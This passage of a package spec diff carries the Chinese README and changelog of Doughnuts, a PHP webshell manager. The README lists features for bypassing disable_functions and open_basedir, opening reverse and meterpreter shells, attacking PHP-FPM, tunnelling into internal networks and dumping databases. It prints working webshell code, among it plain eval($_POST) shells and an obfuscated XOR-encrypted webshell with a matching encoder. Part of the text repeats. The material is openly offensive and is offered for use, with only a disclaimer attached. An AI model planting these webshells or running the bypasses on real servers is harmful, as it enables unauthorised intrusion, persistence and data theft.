+    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
+    - passwd是连接webshell的密码
+    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
+5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell
+
+## 参考
+
+- https://github.com/WangYihang/Webshell-Sniper
+- https://github.com/epinna/weevely3
+
+## 更新日志
+
+### 4.24.0
+- 4.24.0 
+  - 4.24.0
+    - 新增功能
+        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
+    - 优化
+      - 优化bdf-fpm的逻辑，修复一些bug
+### 4.23.0
+- 4.23.0
+    - 新增功能
+        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
+- 4.23.1
+    - 修复bug
+        - connect: 某些webshell无法连接的问题 (出现 IndexError)
+        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
+        - portscan: 无法使用的问题
+        - upload: 使用file_put_contents上传文件时错误的问题
+- 4.23.2
+    - 修复bug
+        - 在linux下调用vi编辑器会导致无法写入的问题
+        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
+- 4.23.3
+    - 修复bug       
+        - upload无法使用的bug
+        - 在艰难环境下连接webshell的优化
+
+### 4.22.0
+
+- 4.22.0
+  - 新增功能
+    - extension
+      - 查看当前php所装扩展
+  - 优化功能
+    - 去除安装脚本中部分多余代码
+    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
+    - 现在输入完整命令后按方向键(→)或tab显示候选参数
+    - 现在会根据自带的base64函数是否可用自动补上base64函数头
+    - cat
+      - 现在会根据情况自动选择读取文件方式
+    - write
+      - 现在会根据情况自动选择写入文件方式
+  - 重构代码
+    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
+    - 对myapp.py中大部分php代码进行包装转移
+    - 对connect.py中部分php代码进行包装转移
+    - 对webshell_plugins内大部分插件的php代码进行包装转移
+  - 修复bug
+    - readline:
+      - 在自动补全参数时有可能会重复补全命令的错误
+      - 无法对general中命令参数进行自动补全的错误
+      - 有关debug代码部分的错误
+    - 更正部分文本错误，去除部分多余代码
+
+### 4.21.0
+
+- 4.21.0
+    - 新增功能
+        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
+    - 修复bug
+        - bdf-fpm:
+            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
+### 4.20.0
+- 4.20.0
+    - 新增特性
+        - 在极端环境下连接webshell
+    - 新增功能
+        - bdf: 12-iconv 增加bypass函数
+
+### 4.19.0
+- 4.19.0
+    - 新增功能
+        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
+### 4.18.0
+- 4.18.0
+    - 修复bug
+        - proxy: 可能失效的问题
+        - db_shell: 命令重复执行
+
+    - 优化功能
+        - upload
+            - 使用$_FILES上传失败时显示失败原因
+        - socks
+            - windows下http path的默认值使用/替换\
+    - 新增功能
+        - db_exec
+            - 启动编辑器执行任意sql语句
+- 4.18.1
+    - 修复bug
+        - db_mdump
+            - 重试无效的问题
+            - 线程不安全导致dump的数据不全或重复的问题
+            - 数据为空时与数据类型不匹配的问题,将''替换为null
+- 4.18.2
+    - 修复bug
+        - mdownload
+            - 重试后无论如何都显示下载失败
+    - 优化功能
+        - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - getenv
+            - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - mdownload
+            - 添加hash验证
+            - 增加提示
+            - 使用临时文件而非内存存储chunk
+        - 请求: 添加重试次数2
+- 4.18.3
+    - 修复bug
+        - mdownload,download在下载时会创建文件夹
+        - write写入文件名错误
+        - edit编辑文件时为空
+    - README
+        - 添加shields
+### 4.17
+- 4.17.0
+    - 添加说明
+        - bdf: 补充4.15新增的fpm-ftp模式的说明
+    - 新增功能
+        - bdf-fpm:
+            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
+        - system:
+            - 若命令以&结尾，则会将其起新线程挂在后端执行
+
+        
+
+### 4.16
+- 4.16.0
+    - 优化功能
+        - socks
+            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
+            - 支持在fsockopen被禁用时使用pfsockopen
+            - 更改说明,只支持5.4.0及以上版本
+    - 新增功能
+        - phpinfo
+            - 调用默认浏览器显示phpinfo信息
+    - 修复bug
+        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
+        - 修复某些命令会输出debug消息的bug
+        - fwpf无法生效
+        - connect时额外参数有多个:或者=号时程序异常
+        - download，mdownload:指定文件保存名时认为是目录的bug
+- 4.16.1
+    - 优化功能
+        - 删除generate的非交互输出
+        - 修改reverse的文档，windows-php不建议使用
+        - connect:假如ini_get被禁用也能够链接
+        - bdf-10-fpm
+            - http_sock: 支持stream_socket_client函数作为备用
+            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
+        
+
+### 4.15
+- 4.15.0
+    - 修改别名
+        socks -> old_socks
+    - 新增功能
+        - bdf
+            - 增加FFI-php_exec, php7-reflectionProperty模式
+        - outnetwork
+            - 快速检查目标机器是否能出网
+        - socks
+            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
+    - 修改输出
+        write
+    - 修复bug
+        - 无法使用参数短别名
+        - requirements.txt中的urllib3版本修改为1.26.5
+- 4.15.1
+    - 修改bug
+        - ps命令在无法读取/proc目录时没有输出报错
+        - execute,write,edit无法使用自定义编辑器或报错
+    - 修改输出
+        - touch
+    - 优化功能
+        - execute,write,edit
+            - 现在编辑一个临时的php文件而非无后缀文件
+            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
+            - 当使用code(即vscode)时会自动添加--wait参数
+    
+
+### 4.14
+- 4.14.0
+    - 新增功能
+        - bdf
+            - 增加iconv模式
+    - 修复bug
+        - edit, upload
+        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
+- 4.14.1
+- 4.14.2
+    - 修复bug
+        - 在Python3.9中报错
+            -bindshell, remp, reverse, socks
+        - gululingbo模板生成的webshell没有php头
+        - log命令默认参数时提示File path is invalid
+- 4.14.3
+    - 修复bug
+        - 在windows下连接使用额外参数时错误
+        - ls显示带有空格文件名的文件的时候显示不全
+    - 删除特性
+        - 不再能从外部使用connect命令
+
+        
+### 4.13
+- 4.13.0
+    - 新增功能
+        - bdf
+            - 增加apache-mod-cgi模式
+- 4.13.1
+    - 修复bug
+        - iconv.c源码
+### 4.12
+- 4.12.0
+    - 新增功能
+        - bdf
+            - 修改ld_preload部分,重构代码,支持x86 linux
+            - 为udf部分切割代码
+        - reverse
+            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
+            - 添加bash_exec类型,使用exec和管道符实现
+        - search
+            - 添加别名find, 最后结果以绝对路径显示
+        - remp
+            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
+        - upload
+            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
+    - 修复bug
+        upload
+    - 添加注释
+        bdf, reverse, av, checkvm
+    - 修改帮助文档
+        bdf, reverse, bobd, search, upload
+    - 重构代码
+        search, bdf, upload
+    - 修改分类
+        - verbose general->COMMON
+### 4.11
+- 4.11.0
+    - 修改命令
+        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
+            现在支持三种attack_type: gopher,sock,http_sock
+            - gopher: 使用curl扩展与gopher协议攻击fpm端口
+            - sock: 使用stream_socket_client攻击fpm-sock
+            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
+    
+- 4.11.1
+    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
+- 4.11.2
+    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
+### 4.10
+- 4.10.0
+    - 修改命令
+        - touch命令 支持windows,不再调用系统命令去实现
+- 4.10.1-3(废弃版本)
+- 4.10.4
+    - 添加缺少的依赖到requirements.txt: six
+- 4.10.5
+    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
+### 4.9
+- 4.9.0
+    - 修改核心
+        - 添加custom_plugins目录,用于存放用户自己编写的插件
+        - 添加config.ini文件,用于配置相关参数
+- 4.9.1
+    - 修复在pypi版本与github版本不一致的问题
+- 4.9.2
+- 4.9.3, 4.9.4
+    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug
+
+### 4.8
+- 4.8.0
+    - 修改命令
+        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
+- 4.8.1
+    - 优化代码结构
+    - 优化doughnuts加密算法
+    - 修复enrecv不存在的问题
+
+### 4.7
+- 4.7.0
+    - 修改命令
+        - remp命令 修改php模式的payload,添加bash和python的payload
+        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)
+
+### 4.6
+- 4.6.0
+    - 添加命令
+        - verbose命令 用于开启/关闭提示符的详细信息显示
+
+### 4.5
+- 添加命令
+    - enrecv命令 用于随时开启/关闭回显加密
+    - remp命令 可以简易的弹一个meterpreter的shell
+- 修复bug
+    - 修复回显加密在弹shell时可能会出现解码错误的问题
+- 4.5.1
+    - 现在使用随机字符作为连接是否成功的判断以防特征检测
+- 4.5.2
+    - 添加命令
+        - mkdir命令 创建文件夹
+        - rmdir命令 删除空文件夹
+
+### 4.4
+- 修改核心
+    - 使用算法将回显加密
+- 4.4.1
+    - 修复bug
+        - **回显加密在php5会出错**
+- 4.4.2
+    - 修改命令
+        - touch命令 提示修改
+        - ps命令    提示修改,只允许在*unix目标上运行
+    - 修复bug
+        - 曾导致在linux下调用vi编辑器失败
+
+### 4.3
+- 修改命令
+    - portscan去除短名ps, 修改显示结果,变得更加可读
+    - bobd支持在ini_set被禁用时使用ini_alter
+    - bdf php7-backtrace 添加在Exception类被禁用后使用Error类
+- 添加命令
+    - copy命令 用于复制文件
+    - ps命令 类似于linux下的ps命令,用于读取系统进程信息
+- 修复bug
+    - 在back返回主菜单后清理mysql连接记录
+
+
+### 4.2
+- 修改结构
+    - myapp尝试丢弃webshell执行代码之前的输出
+- 添加命令
+    - mdownload命令 用于分块下载文件
+- 修改命令
+    - mupload命令 完全重写,真正意义上的分块上传,修复mupload上传失败不会自动清理临时文件的问题
+- 修复bug
+    - 修复mdownload, mupload没有ls后补全的问题
+- 新增依赖
+    - tqdm
+- 4.2.1
+    - 修改命令
+        - db_mdump命令 优化,去除key键,去除表结构中的Not NULL, 使用mysql_real_escape_string转义
+
+
+
+
+### 4.1
+- 修改结构
+    - 新建插件时不再需要更改helpmenu.py
+
+
+### 4.0
+- 修改命令
+    - 修复当使用mysqli扩展链接mysql数据库时db_info显示的问题
+    - 修复当使用pdo扩展链接数据库时无法db_dump的问题
+    - 修复某些文本错误
+    - db_dump命令 
+        - 不再目标主机上写入文件而是直接下载到本地,修改参数{web_file_path}->{local_path}
+        - 添加参数 {table} 用于指定数据表,默认存储文件名为{database}.{table}.sql
+    - dump命令
+        - 修复一个bug曾导致路径拼接时使用\转义了外部php的引号导致的报错
+- 添加命令
+    - db_mdump命令 用于分块dump数据库
+- 4.0.1
+    - 修复了db_mdump导出的数据库encoding错误导致sql文件无法导入的问题
+- 4.0.2
+    - 修复了db_mdump数据重复的问题
+- 4.0.3
+    - 删除测试输出,删除db_mdump中DROP DATABASE语句
+
+## 免责声明
+
+本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.
+
+
+%package help
+Summary:	Development documents and examples for doughnuts
+Provides:	python3-doughnuts-doc
+%description help
+# Doughnuts
+
+*一个基于Python3.6+的PHPwebshell管理器*
+
+
+<p align="center">
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/stars/WAY29/Doughnuts?style=flat"/>
+     </a>
+     <a target="_blank" href="https://github.com/WAY29/Doughnuts/blob/master/LICENSE">
+        <img alt="" src="https://img.shields.io/badge/license-MIT-green"/>
+     </a>
+     <a target="_blank" href="https://github.com/php/php-src/tree/PHP-7.0.0">
+        <img alt="" src="https://img.shields.io/badge/python-%5E3%2e6-blue"/>
+     </a>
+     <a target="_blank" href="https://github.com/Stakcery/MagicStick">
+        <img alt="" src="https://img.shields.io/github/watchers/WAY29/Doughnuts"/>
+     </a>
+     <a target="_blank" href="https://www.codacy.com/gh/WAY29/Doughnuts/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=WAY29/Doughnuts&amp;utm_campaign=Badge_Grade">
+        <img alt="" src="https://app.codacy.com/project/badge/Grade/dc3e98656257440da1f40bfa49f185e3"/>
+     </a>
+</p>
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112302002860.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301953207.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954136.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954927.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301954410.png)
+
+![](https://morblogib.oss-cn-shanghai.aliyuncs.com/self/images/save/202112301955714.png)
+
+## 使用文档
+
+~~终于迎来了新的使用文档！~~
+
+***文档中许多内容已经过期，请以新版为准***
+
+详细使用文档请前往[此页面](https://doughnuts3.gitbook.io/)进行查看。
+
+## 特征
+
+- 支持连接,记录,管理webshell,方便下一次连接
+- 基于eval的连接,支持GET,POST,COOKIE,HEADER四种连接方式
+- **请求与响应伪装**
+- 支持编码payload(已内置base64,str_rot13,hex,doughnuts四种编码,可以通过添加encode文件夹中的py文件进行扩展),以实现连接带有解码的webshell
+- **支持绕过open_basedir**
+- **支持多种方式绕过disable_functions**
+    - 自动识别
+    - php7-backtrace
+    - php7-gc
+    - php7-json
+    - php7-splDoublyLinkedList
+    - LD_PRELOAD
+    - FFI
+    - COM
+    - imap_open
+    - MYSQL-UDF
+    - fpm(支持四种攻击方式，sock和端口的攻击方式)
+    - apache-mod-cgi
+    - iconv
+    - FFI-php_exec
+    - php7-reflectionProperty
+    - user_filter
+- 核心功能
+    - 获取网站,系统,进程信息
+    - 输出disbale_functions
+    - 寻找可写的PHP文件(以树状结构显示)
+    - 寻找配置文件(文件名中包含cfg/config/db/database) 也可以通过修改代码来支持寻找更多的文件(以树状结构显示)
+    - 执行自定义的php代码
+    - 获取一个临时的非完全交互式shell和webshell
+    - 正向/反弹shell
+    - 可以支持弹meterpreter的shell(php代码实现)
+    - (仅限双方均为*unix)获取完全交互式的反弹shell
+    - 读/写/上传/下载/删除/搜索文件,目录打包,分段文件上传/下载
+    - 数据库管理,临时的sql-shell,数据dump,分段dump
+    - **端口扫描**
+    - **出网检测**
+    - **集成neo-regeorg，一键开启socks5服务器**
+    - 内网网页文本式浏览代理，可自定义请求方法和数据
+    - 检测suid文件并给出提权建议 / 检测杀毒软件
+- 易于扩展
+
+## 依赖
+
+- Python3.6+
+- Python-requests
+- Python-pysocks
+- Python-colorama
+- Python-prettytable
+
+## 安装/运行方法
+
+***请在3.2版本之前运行过`python3 -m doughnuts.install`安装的朋友在更新3.2版本之后重新执行此命令!***
+
+- 使用pip安装
+
+```sh
+# 安装
+python3 -m pip install doughnuts --user -i https://pypi.org/simple/
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 -m doughnuts.install
+# 运行
+doughnuts
+# 或
+python3 -m doughnuts
+# enjoy it!
+```
+
+- 通过poetry安装
+
+```sh
+pyton3 -m pip install poetry # 或其他方法安装python-poetry
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts
+# debian/ubuntu系统需要运行此命令
+apt-get install python3-venv
+# 安装
+poetry install
+# 运行
+poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
+# enjoy it!
+```
+
+- 直接安装
+
+```sh
+# 安装PYTHON 3.6+
+git clone https://github.com/WAY29/Doughnuts.git
+cd Doughnuts/doughnuts
+pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
+# (windows)添加一个bat文件到python根目录下
+# (*unix)添加一个可执行文件到/usr/local/bin下
+# 安装启动器,以方便调用
+python3 install.py
+# 运行
+doughnuts
+# 或
+python3 doughnuts.py
+# enjoy it!
+```
+
+- 使用docker
+
+```bash
+# 启动一个doughnuts容器
+docker run --name doughnuts -itd longlone/doughnuts
+# 执行doughnuts容器的bash
+docker exec -it doughnuts bash
+# 在容器中运行doughnuts,这样你可以存储webshell记录等
+doughnuts
+
+# 或者直接执行doughnuts
+docker run --rm -it longlone/doughnuts:cli
+```
+
+## 使用例子
+
+*由于windows原因，在windows命令行连接下不支持&符号连接参数。
+尽量将额外参数包裹引号进行传递，且逐一拆分。
+好的习惯:"data:a=123" "data:b=456"
+坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)*
+
+1. 普通webshell:
+
+    - 最平凡的webshell:
+
+        ```php
+        //test1.php
+        <?php
+        error_reporting(0);
+        eval($_POST['2333']);
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      ```
+      connect http://localhost/test1.php POST 2333
+      ```
+      
+    - 带解码的webshell:
+
+        ```php
+        //test2.php
+        <?php
+        error_reporting(0);
+        eval(str_rot13(base64_decode($_REQUEST['2333'])));
+        ?>
+      ```
+      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+      
+      ```
+      connect http://localhost/test2.php POST 2333 rot13 base64
+      ```
+      
+    - 需要额外参数与解码的webshell:
+
+        ```php
+        //test3.php
+        <?php
+        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
+        	@eval(base64_decode($_POST['2333']));
+        }
+        ```
+
+        那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
+
+        ```
+        connect http://localhost/test.php POST 2333 base64 "data:a=123"
+        ```
+
+2. 生成webshell:
+    1. 运行doughnuts
+    2. 执行`generate a.php POST pass salt 1`生成webshell,名字为a.php
+    3. 上传a.php 根据提示执行`connect {木马url} POST pass doughnuts-salt`连接webshell
+
+## 自定义编码器
+1. 进入doughnuts/encode目录
+2. 新建/拷贝一个py文件,起一个名字,以time.py为例
+3. 文件中只需要写一个run函数,类似于
+```python
+from libs.config import alias
+
+
+@alias(True)
+def run(data: str):
+    cipher = data
+    return cipher
+```
+4. 参数解释: data是传输的数据,为字符串,cipher为传出的数据,也应该为字符串
+5. 重启doughnuts即可使用`se/show_encoders`命令查看自定义的编码器,连接时使用`connect URL 请求方法 密码 编码器名字`即可使用自定义编码器
+6. 一个例子,以时间为秘钥的编码器
+```python
+from libs.config import alias
+from hashlib import md5
+from base64 import b64encode
+import time
+
+
+@alias(True)
+def run(data: str):
+    format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
+    key = md5(format_time.encode()).hexdigest().encode()
+    data = data.encode()
+    cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
+    cipher = b64encode(cipher).decode()
+
+    return cipher
+```
+对应的php webshell
+```php
+<?php 
+class COMI { 
+    public $c='';
+    function __destruct() {
+        return eval(substr($this->c, 0));
+    }
+}
+date_default_timezone_set("PRC");
+$comi = new COMI();
+$password = &$password1;
+$password1 = $_REQUEST['x'];
+$post = &$password;
+$post=base64_decode($post);
+$key=md5(date("Y-m-d H:i",time()));
+for($i=0;$i<strlen($post);$i++){
+    $post[$i] = $post[$i] ^ $key[$i%32];
+}
+$lnng1 = &$lnng;
+$lnng = $post;
+$lnng2 = $lnng1;
+@$comi->c = substr($lnng2, 0);
+?>
+```
+
+## 自定义webshell模板
+1. 进入doughnuts/webshell_plugins目录
+2. 新建/拷贝一个py文件,起一个名字,以test.py为例
+3. 文件中只需要写一个get_php函数,类似于
+```python
+def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
+    ...
+```
+4. 各个参数解释
+    - keyword是一个数字对应一种请求方式,分别对应: GET->3 POST->4 COOKIE->5 HEADER->6
+    - passwd是连接webshell的密码
+    - salt是用于加密算法的盐,你可以不需要使用这个参数,但是函数定义里必须存在
+5. 重启doughnuts或者在doughnuts使用`reload generate`重新加载generate命令,即可使用doughnuts生成自定义webshell
+
+## 参考
+
+- https://github.com/WangYihang/Webshell-Sniper
+- https://github.com/epinna/weevely3
+
+## 更新日志
+
+### 4.24.0
+- 4.24.0 
+  - 4.24.0
+    - 新增功能
+        - memshell: 通过交互式操作注入php内存马，仅作用于fastcgi,详情请看[这里](https://tttang.com/archive/1720/)
+    - 优化
+      - 优化bdf-fpm的逻辑，修复一些bug
+### 4.23.0
+- 4.23.0
+    - 新增功能
+        - bdf-php-concat_function: 对应数字17，详情请看[这里](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)
+- 4.23.1
+    - 修复bug
+        - connect: 某些webshell无法连接的问题 (出现 IndexError)
+        - cat: 在使用DOMDocument读取文件时没有base64解码的错误
+        - portscan: 无法使用的问题
+        - upload: 使用file_put_contents上传文件时错误的问题
+- 4.23.2
+    - 修复bug
+        - 在linux下调用vi编辑器会导致无法写入的问题
+        - webshell/db_shell/shell 命令现在会根据switch命令切换原始/补全模式
+- 4.23.3
+    - 修复bug       
+        - upload无法使用的bug
+        - 在艰难环境下连接webshell的优化
+
+### 4.22.0
+
+- 4.22.0
+  - 新增功能
+    - extension
+      - 查看当前php所装扩展
+  - 优化功能
+    - 去除安装脚本中部分多余代码
+    - 用随机字符标识替代原先固定标识符的webshell是否存活检测
+    - 现在输入完整命令后按方向键(→)或tab显示候选参数
+    - 现在会根据自带的base64函数是否可用自动补上base64函数头
+    - cat
+      - 现在会根据情况自动选择读取文件方式
+    - write
+      - 现在会根据情况自动选择写入文件方式
+  - 重构代码
+    - 在libs目录中加上如functions/[插件目录]/[插件函数]形式，便于插件可读性的提高
+    - 对myapp.py中大部分php代码进行包装转移
+    - 对connect.py中部分php代码进行包装转移
+    - 对webshell_plugins内大部分插件的php代码进行包装转移
+  - 修复bug
+    - readline:
+      - 在自动补全参数时有可能会重复补全命令的错误
+      - 无法对general中命令参数进行自动补全的错误
+      - 有关debug代码部分的错误
+    - 更正部分文本错误，去除部分多余代码
+
+### 4.21.0
+
+- 4.21.0
+    - 新增功能
+        - bdf-shellshock: 对应数字16，Bash破壳（CVE-2014-6271)漏洞
+    - 修复bug
+        - bdf-fpm:
+            在某些情况下误判目标并不是使用fpm启动，现在解除这个限制，由使用者自己决定
+### 4.20.0
+- 4.20.0
+    - 新增特性
+        - 在极端环境下连接webshell
+    - 新增功能
+        - bdf: 12-iconv 增加bypass函数
+
+### 4.19.0
+- 4.19.0
+    - 新增功能
+        - bdf: 新增user_filter模式，适用于7.0-8.0所有版本
+### 4.18.0
+- 4.18.0
+    - 修复bug
+        - proxy: 可能失效的问题
+        - db_shell: 命令重复执行
+
+    - 优化功能
+        - upload
+            - 使用$_FILES上传失败时显示失败原因
+        - socks
+            - windows下http path的默认值使用/替换\
+    - 新增功能
+        - db_exec
+            - 启动编辑器执行任意sql语句
+- 4.18.1
+    - 修复bug
+        - db_mdump
+            - 重试无效的问题
+            - 线程不安全导致dump的数据不全或重复的问题
+            - 数据为空时与数据类型不匹配的问题,将''替换为null
+- 4.18.2
+    - 修复bug
+        - mdownload
+            - 重试后无论如何都显示下载失败
+    - 优化功能
+        - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - getenv
+            - 使用自定义的函数获取php配置选项的值，而非ini_get
+        - mdownload
+            - 添加hash验证
+            - 增加提示
+            - 使用临时文件而非内存存储chunk
+        - 请求: 添加重试次数2
+- 4.18.3
+    - 修复bug
+        - mdownload,download在下载时会创建文件夹
+        - write写入文件名错误
+        - edit编辑文件时为空
+    - README
+        - 添加shields
+### 4.17
+- 4.17.0
+    - 添加说明
+        - bdf: 补充4.15新增的fpm-ftp模式的说明
+    - 新增功能
+        - bdf-fpm:
+            - (实验性功能，不稳定)现在会询问是否在所有请求中都攻击fpm以获取结果，可以用于绕过open_basedir等限制，暂不支持ftp模式
+        - system:
+            - 若命令以&结尾，则会将其起新线程挂在后端执行
+
+        
+
+### 4.16
+- 4.16.0
+    - 优化功能
+        - socks
+            - 支持代理选项,支持如`http://127.0.0.1:1080/` 或 `socks5://127.0.0.1:1080/`的代理
+            - 支持在fsockopen被禁用时使用pfsockopen
+            - 更改说明,只支持5.4.0及以上版本
+    - 新增功能
+        - phpinfo
+            - 调用默认浏览器显示phpinfo信息
+    - 修复bug
+        - bdf LD_PRELOAD模式 mb_send_mail无法成功bypass
+        - 修复某些命令会输出debug消息的bug
+        - fwpf无法生效
+        - connect时额外参数有多个:或者=号时程序异常
+        - download，mdownload:指定文件保存名时认为是目录的bug
+- 4.16.1
+    - 优化功能
+        - 删除generate的非交互输出
+        - 修改reverse的文档，windows-php不建议使用
+        - connect:假如ini_get被禁用也能够链接
+        - bdf-10-fpm
+            - http_sock: 支持stream_socket_client函数作为备用
+            - ftp: 新增ftp模式，通过在目标机器构建一个虚假的ftp服务器以实现ssrf攻击fpm
+        
+
+### 4.15
+- 4.15.0
+    - 修改别名
+        socks -> old_socks
+    - 新增功能
+        - bdf
+            - 增加FFI-php_exec, php7-reflectionProperty模式
+        - outnetwork
+            - 快速检查目标机器是否能出网
+        - socks
+            - 启动一个socks服务器,上传并连接远程的webshell管道以实现内网穿透的功能(power by neo-regeorg)
+    - 修改输出
+        write
+    - 修复bug
+        - 无法使用参数短别名
+        - requirements.txt中的urllib3版本修改为1.26.5
+- 4.15.1
+    - 修改bug
+        - ps命令在无法读取/proc目录时没有输出报错
+        - execute,write,edit无法使用自定义编辑器或报错
+    - 修改输出
+        - touch
+    - 优化功能
+        - execute,write,edit
+            - 现在编辑一个临时的php文件而非无后缀文件
+            - 添加参数edit_args,用于提供编辑器的参数,例如execute code '"--wait"'
+            - 当使用code(即vscode)时会自动添加--wait参数
+    
+
+### 4.14
+- 4.14.0
+    - 新增功能
+        - bdf
+            - 增加iconv模式
+    - 修复bug
+        - edit, upload
+        - bdf apache-mod-cgi模式 在切换目录之后无法执行系统命令,现在固定在webshell目录中上传.htaccess和cgi脚本
+- 4.14.1
+- 4.14.2
+    - 修复bug
+        - 在Python3.9中报错
+            -bindshell, remp, reverse, socks
+        - gululingbo模板生成的webshell没有php头
+        - log命令默认参数时提示File path is invalid
+- 4.14.3
+    - 修复bug
+        - 在windows下连接使用额外参数时错误
+        - ls显示带有空格文件名的文件的时候显示不全
+    - 删除特性
+        - 不再能从外部使用connect命令
+
+        
+### 4.13
+- 4.13.0
+    - 新增功能
+        - bdf
+            - 增加apache-mod-cgi模式
+- 4.13.1
+    - 修复bug
+        - iconv.c源码
+### 4.12
+- 4.12.0
+    - 新增功能
+        - bdf
+            - 修改ld_preload部分,重构代码,支持x86 linux
+            - 为udf部分切割代码
+        - reverse
+            - 修改默认反弹类型,默认会根据目标系统选择powershell/bash
+            - 添加bash_exec类型,使用exec和管道符实现
+        - search
+            - 添加别名find, 最后结果以绝对路径显示
+        - remp
+            - 支持pfsockopen, 删除bash类型的反弹,将其移到reverse命令
+        - upload
+            - 新增参数upload_type,支持file_put_contents直接写入内容,同时优化输出
+    - 修复bug
+        upload
+    - 添加注释
+        bdf, reverse, av, checkvm
+    - 修改帮助文档
+        bdf, reverse, bobd, search, upload
+    - 重构代码
+        search, bdf, upload
+    - 修改分类
+        - verbose general->COMMON
+### 4.11
+- 4.11.0
+    - 修改命令
+        - bdf命令 重写fpm部分,使用antsword的[bypass_disable_functions扩展](https://github.com/Medicean/as_bypass_php_disable_functions)
+            现在支持三种attack_type: gopher,sock,http_sock
+            - gopher: 使用curl扩展与gopher协议攻击fpm端口
+            - sock: 使用stream_socket_client攻击fpm-sock
+            - http_sock: 使用fsockopen,pfsockopen连接fpm端口
+    
+- 4.11.1
+    - 修改fpm的sock和http_sock攻击方式,防止整个doughnuts卡死
+- 4.11.2
+    - 修复无法使用`python3 -m doughnuts`启动doughnuts的bug
+### 4.10
+- 4.10.0
+    - 修改命令
+        - touch命令 支持windows,不再调用系统命令去实现
+- 4.10.1-3(废弃版本)
+- 4.10.4
+    - 添加缺少的依赖到requirements.txt: six
+- 4.10.5
+    - 添加docker并上传到dockerhub,可以使用docker命令一键起doughnuts
+### 4.9
+- 4.9.0
+    - 修改核心
+        - 添加custom_plugins目录,用于存放用户自己编写的插件
+        - 添加config.ini文件,用于配置相关参数
+- 4.9.1
+    - 修复在pypi版本与github版本不一致的问题
+- 4.9.2
+- 4.9.3, 4.9.4
+    - 修复在不存在自定义命令时连接webshell后帮助菜单无法显示的bug
+
+### 4.8
+- 4.8.0
+    - 修改命令
+        - generate命令 现在支持在自定义webshell模板,在doughnuts/webshell_plugins下可以添加自己的模板,详情请查看上面的自定义webshell模板
+- 4.8.1
+    - 优化代码结构
+    - 优化doughnuts加密算法
+    - 修复enrecv不存在的问题
+
+### 4.7
+- 4.7.0
+    - 修改命令
+        - remp命令 修改php模式的payload,添加bash和python的payload
+        - bdf命令 php-fpm模式(https://xz.aliyun.com/t/5598)
+
+### 4.6
+- 4.6.0
+    - 添加命令
+        - verbose命令 用于开启/关闭提示符的详细信息显示
+
+### 4.5
+- 添加命令
+    - enrecv命令 用于随时开启/关闭回显加密
+    - remp命令 可以简易的弹一个meterpreter的shell
+- 修复bug
+    - 修复回显加密在弹shell时可能会出现解码错误的问题
+- 4.5.1
